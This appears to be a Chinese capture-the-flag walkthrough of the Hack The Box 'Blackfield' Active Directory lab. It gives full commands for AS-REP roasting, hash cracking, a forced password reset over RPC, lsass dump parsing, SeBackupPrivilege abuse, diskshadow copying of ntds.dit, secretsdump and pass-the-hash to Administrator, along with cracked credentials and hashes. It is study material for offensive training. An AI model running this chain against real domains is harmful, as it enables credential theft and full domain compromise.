获得初始权限
dig @10.10.10.192 blackfield.local 无 dig axfr @10.10.10.192 blackfield.local 无
ldapsearch -h 10.10.10.192 -x -s base namingcontexts
DomainDnsZones.blackfield.local 和 ForestDnsZones.blackfield.local 似乎是有趣的子域。有趣的是,它们也都通过 dig
进行解析(仅显示一个):
dig @10.10.10.192 ForestDnsZones.BLACKFIELD.local
没有别的更多信息了
尝试一下smb
crackmapexec smb 10.10.10.192
smbmap -H 10.10.10.192 -u null
smbclient -N //10.10.10.192/profiles$
有很多文件,都是空的,文件名有没有可能是用户
挂载到本地
mount -t cifs //10.10.10.192/profiles$ /mnt
mv users users.old; ls -1 /mnt/ > users
-
将现有的
users
文件或目录重命名为users.old
。 -
将
/mnt/
目录下的所有文件和目录列表写入新的users
文件,每行一个文件或目录名。
试试as_rep
for user in $(cat users); do GetNPUsers.py -no-pass -dc-ip 10.10.10.192 blackfield.local/$user | grep krb5asrep; done
得到hash
破解
hashcat -m 18200 svc.asrep.hash /usr/share/wordlists/rockyou.txt --force
support / #00^BlackKnight
验证
crackmapexec winrm 10.10.10.192 -u support -p '#00^BlackKnight' 不可以
crackmapexec smb 10.10.10.192 -u support -p '#00^BlackKnight' 可以
smbmap -H 10.10.10.192 -u support -p '#00^BlackKnight'
获得了对 NETLOGON
和 SYSVOL
共享的只读访问权限
连接smb目录
profiles$
仍然有相同的目录,全部是空的。NETLOGON
完全是空的,SYSVOL
有五个文件,但没有一个对我提供任何有用的东西。
ldapsearch -h 10.10.10.192 -b "DC=BLACKFIELD,DC=local" -D 'support@blackfield.local' -w '#00^BlackKnight' > support_ldap_dump
wc -l support_ldap_dump 超过 20000 行:
大概看一下,获得获得了域控制器的名称 DC01
尝试了 Kerberoast,GetUserSPNs.py -request -dc-ip 10.10.10.192 'blackfield.local/support:#00^BlackKnight'无票据返回
通过rpc重置密码,pypykatz替代mimikatz从ladp中dump出hash
利用bloodhound
bloodhound-python -c ALL -u support -p '#00^BlackKnight' -d blackfield.local -dc dc01.blackfield.local -ns 10.10.10.192
拥有修改密码的权限Reset AD user password with Linux - Malicious Link - Blog by mubix - Rob Fuller
rpcclient $> setuserinfo2
23作为级别
如果设置的密码策略与要求不符会报错,如果相符会没有返回
rpcclient $> setuserinfo2 audit2020 23 '0xdf!!!'
也可以直接命令行运行
rpcclient -U 'blackfield.local/support%#00^BlackKnight' 10.10.10.192 -c 'setuserinfo2 audit2020 23 "0xdf!!!"'
验证
crackmapexec smb 10.10.10.192 -u audit2020 -p '0xdf!!!'
crackmapexec winrm 10.10.10.192 -u audit2020 -p '0xdf!!!' 仍然没有winrm
接着枚举smb
smbmap -H 10.10.10.192 -u audit2020 -p '0xdf!!!'
smbclient -U audit2020 //10.10.10.192/forensic '0xdf!!!' 有三个文件夹,
commands_output
有一堆文本文件
domain_admins.txt` 中有一个额外的帐户 Ipwn3dYourCompany
tools
是三个公开可用的工具集:
memory_analysis
是最有趣的:
它是一系列 Zip 存档,每个存档中都有一个内存转储文件
原先Mimikatz 的lsass.exe可以用,随着防病毒软件一种众所周知的技术是使用 Sysinternals(由 Microsoft 签名)的 procdump.exe
来转储 lsass.exe
unzip lsass.zip得到lsass.DMP
有一个 Mimikatz 替代方案 pypykatz 也可以正常工作
pypykatz lsa minidump lsass.DMP
获得svc_backup的hash
测试可以横向
crackmapexec winrm 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d
evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d
获得管理员(SeBackUpPrivilege权限,利用工具SeBackupPrivilege)
whoami /priv
SeBackUpPrivilege
基本上允许完整的系统读取
svc_backup 位于 Backup Operators
备份操作员是一个默认的 Windows 组,旨在使用某些方法来备份和恢复计算机上的文件,以读取和写入系统上的所有(或大多数)文件。
https://github.com/giuliano108/SeBackupPrivilege
这个存储库有一组很好的 PowerShell 工具,用于滥用SeBackupPrivilege
. 我将克隆它,然后需要将两个文件上传到 Blackfields:
upload /home/kali/black/SeBackupPrivilege/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll
upload /home/kali/black/SeBackupPrivilege/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll
现在我将它们导入到我当前的会话中:
*Evil-WinRM* PS C:\programdata> import-module .\SeBackupPrivilegeCmdLets.dll *Evil-WinRM* PS C:\programdata> import-module .\SeBackupPrivilegeUtils.dll
现在我可以跨文件系统读取文件。例如,我无法C:\windows\system32\config\netlogon.dns
以非管理员用户身份读取:
但我可以复制它并阅读它:
Copy-FileSeBackupPrivilege netlogon.dns \programdata\netlogon.dns
type \programdata\netlogon.dns
由于某种原因,我无法阅读root.txt
:
我想要获取的下一个文件是ntds.dit
DC 上保存所有密码哈希值的数据库。不幸的是,我无法抓住它,因为它正在使用中
Copy-FileSeBackupPrivilege C:\Windows\ntds\ntds.dit .
diskshadow读取ntds.dit
文件(解决robocopy复制ntds时的in use)(reg.exe保存secrect)
如果我们尝试使用robocopy制作 ntds.dit 文件的副本,我们会发现由于正在使用的进程而失败。
robocopy /b C:\Windows\NTDS C:\Profiles NTDS.dit
使用diskshadow.exe
默认情况下,diskshadow.exe 仅安装在 Windows Server 上。
由于 diskshadow.exe 是一个交互式命令,而我们当前有一个非交互式会话,因此我们必须制作一个可以输入到 diskshadow.exe 中的 TXT 文件。这将使我们能够执行必要的命令并创建卷影副本。
我直接在受害者计算机上使用以下命令来制作 diskshadow.txt 文件:
echo "set context persistent nowriters" | out-file ./diskshadow.txt -encoding ascii echo "add volume c: alias temp" | out-file ./diskshadow.txt -encoding ascii -append echo "create" | out-file ./diskshadow.txt -encoding ascii -append echo "expose %temp% z:" | out-file ./diskshadow.txt -encoding ascii -append
上面的命令本质上告诉 diskshadow.exe 创建 C: 的副本并将其命名为 Z: 并公开它(使其可作为驱动器访问)。
创建 diskshadow.txt 文件后,我使用以下命令创建卷影副本并将其显示为 Z:\ 驱动器:
diskshadow.exe /s c:\temp\diskshadow.txt
随着 Z:\ 驱动器暴露,我现在可以再次使用 robocopy,但这一次它将用于将备份 ntds.dit 文件移动到我的临时文件夹,而不是正在运行的文件。
cd Z: cd windows cd ntds robocopy /b .\ C:\temp NTDS.dit
获取 ntds.dit 文件后,我们还需要从注册表中获取 SYSTEM 文件,然后将这两个文件发送到我们的攻击者计算机以在本地转储。
cd C:\temp reg.exe save hklm\system C:\temp\system.bak
这次为了泄露这些文件,我们可以使用villain-winrm的内置下载命令,如下所示:
download ntds.dit download system.bak
现在这两个文件都在我的攻击者计算机上,我再次使用 Secretsdump.py 并成功转储域中的所有哈希值!
我第一次运行此命令时,我没有将其重定向到文件,并且有超过 300 个用户的文件。重定向输出使其更易于解析。
secretsdump.py -ntds ntds.dit -system system.bak LOCAL > hashes.txt
evil-winrm -i 10.10.10.192 -u Administrator -H 184fb5e5178480be64824d4cd53b99ee
184fb5e5178480be64824d4cd53b99ee